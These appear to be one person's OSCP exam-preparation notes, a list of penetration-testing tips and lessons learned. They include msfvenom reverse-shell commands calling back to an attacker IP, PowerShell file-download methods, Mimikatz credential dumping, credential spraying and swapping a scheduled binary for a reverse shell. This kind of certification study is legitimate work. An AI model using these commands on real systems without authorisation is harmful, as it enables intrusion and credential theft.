..
OSCP notes
A collection of unsorted bite-sized notes, “today I learned” style
- Get familiar with
ftp
andsmtp
commands and how to use them overnc
ortelnet
. Its very useful and you will need it.nc
by default sends a LF character when you press enter, but some services expect CRLF. If you’re not getting output, startnc
with the-C
flag (seeman nc
).
- aspx shells generated with
msfvenom
depend on architecture. There’s a version for x86 and one for x64:msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=192.168.45.XX LPORT=443 -o shell-x86.aspx
-
- `msfvenom -f aspx -p windows/x64/shell_reverse_tcp LHOST=192.168.45.XX LPORT=443 -o shell-x64.aspx
- Get familiar with file formats associated with different web technologies. Very useful for file upload bypasses
- Know as many different ways of transfering files as you can:
- start
impacket-smbserver
on your kali and copy from/to a victim machine - transfer with
nc
,scp
,certutil
,evil-winrm
- powershell has several methods for downloading/uploading files. This one seems quite reliable and available since powershell v2.0:
iwr
,(New-Object Net.WebClient).DownloadFile($url, $fullpath)
1 - know
ftp
, both how to start server on kali, as well as how to upload download from command line - VBScript for older hosts XP/2003 1
python -m http.server 80
or another option,updog
- start
- you know of SecLists, but did look through the repo? many kinds of lists are in there. ^[https://github.com/danielmiessler/SecLists], specially default passwords
- This might sound dumb, but you’d be surprised. If you have unhealthy habits (sugar, coffee, sleeping patterns, nicotine) moderate them a bit 5-7 days leading to exam day. You’ll need the stamina and concentration.
- List msfconsole payloads with:
msfconsole -l payloads
- Catch
msfvenom
stageless payloads withnc
. Catchmsfvenom
staged payloads withmsfconsole
- Catch
- During exam always have some recon scan going, but start with simpler initial scans, eg:
-sC -sV
pyenv
is very useful, it allows you to have multiple python versions and environments. There are many exploits that require python2, or tools that have specific requirements that need to be satisfied.- Make regular (weekly) snapshots of your VMs. But I know you’ll forget anyways, regret it later, and then write it on your own “lessons learned” for the next person to forget it too.
- Ok you did backups, but are you prepared for your hard-drive to die a week before exam? It happened to me… lost installed tools and few customizations on my kali etc. Fortunately my notes were on google drive. (I was also able to recover the VM before exam so all is good)
- rabit-holes I fell into:
- Getting weird powershell errors because I was using a shell from one repo
.ps1
and an enumeration.ps1
from another repo. There are different versions ofInvoke-Mimikatz
our there, and they are not necessarily compatible. If you’re using a nishang reverse shell and want to doInvoke-Mimikatz
, you should use the module from nishang repo - On linux usernames can be case sensitive
- failing to enumerate user folders properly (didnt see the hidden file that was intended path)
- getting stuck with wrong version of mimikatz that was not working on my target system
- not enumerating snmp properly:
snmpwalk -v2c -c public {RHOST} nsExtendObjects
- not seeing the output of a binary that was the intended path, because it didnt show in evil-winrm (but would show over other shells like impacket psexec or ConPtyShell). When possible make an msvenom payload and get a better shell
- you can upload and download with evil-winrm, the command expects full paths
- forgetting to do “token::elevate” and failing to get lsadump contents on mimikats when all other commands would work
- not finding an exploit because it wasnt on exploit-db.. always google and search github for exploits too
- forgetting to try default credentials, always google for them, try admin:admin, username:username etc
- if you find new credentials try them on every service you know. You find new service try every credential you have.
- also remember to spray all combinations to test for credential re-use
- when spraying with cme, also remember to do domain (
-d lab.local
) and local (--local-auth
)
- If you escalate, re-enumerate: forgot to look at powershell history after escalation
- this one is dumb af.. failed to enumerate properly because mistyped or forgot port number on my
ffuf
command. This happened a few times - In web enumeration, failed to enumerate with extentions and didn’t find a
.pdf
that was the intended path. When there are only a few ports open, or all other options exhausted - Had LFI and didnt look for default ssh key files (there are more possible files than
id_rsa
) - there’s some weirdness with crackmapexec rdp where sometimes it doesn’t report a correct credential. also try
impacket-rdp_check
- had domain creds and forgot to enumerate share contents. do
--shares
with crackmapexec or try smbclient/smbmap - used wrong hashcat mode :’( check https://hashcat.net/wiki/doku.php?id=example_hashes
- Saw a suspicious binary on a windows target tried to run it and moved on; it was actually running on a schedule and I didn’t think to try and replace it with a reverse shell.
- After getting a foothold, didn’t realize there was a port that wasn’t accessible from outside
- Didn’t try an exploit because the version on the description was newer than my
- Getting weird powershell errors because I was using a shell from one repo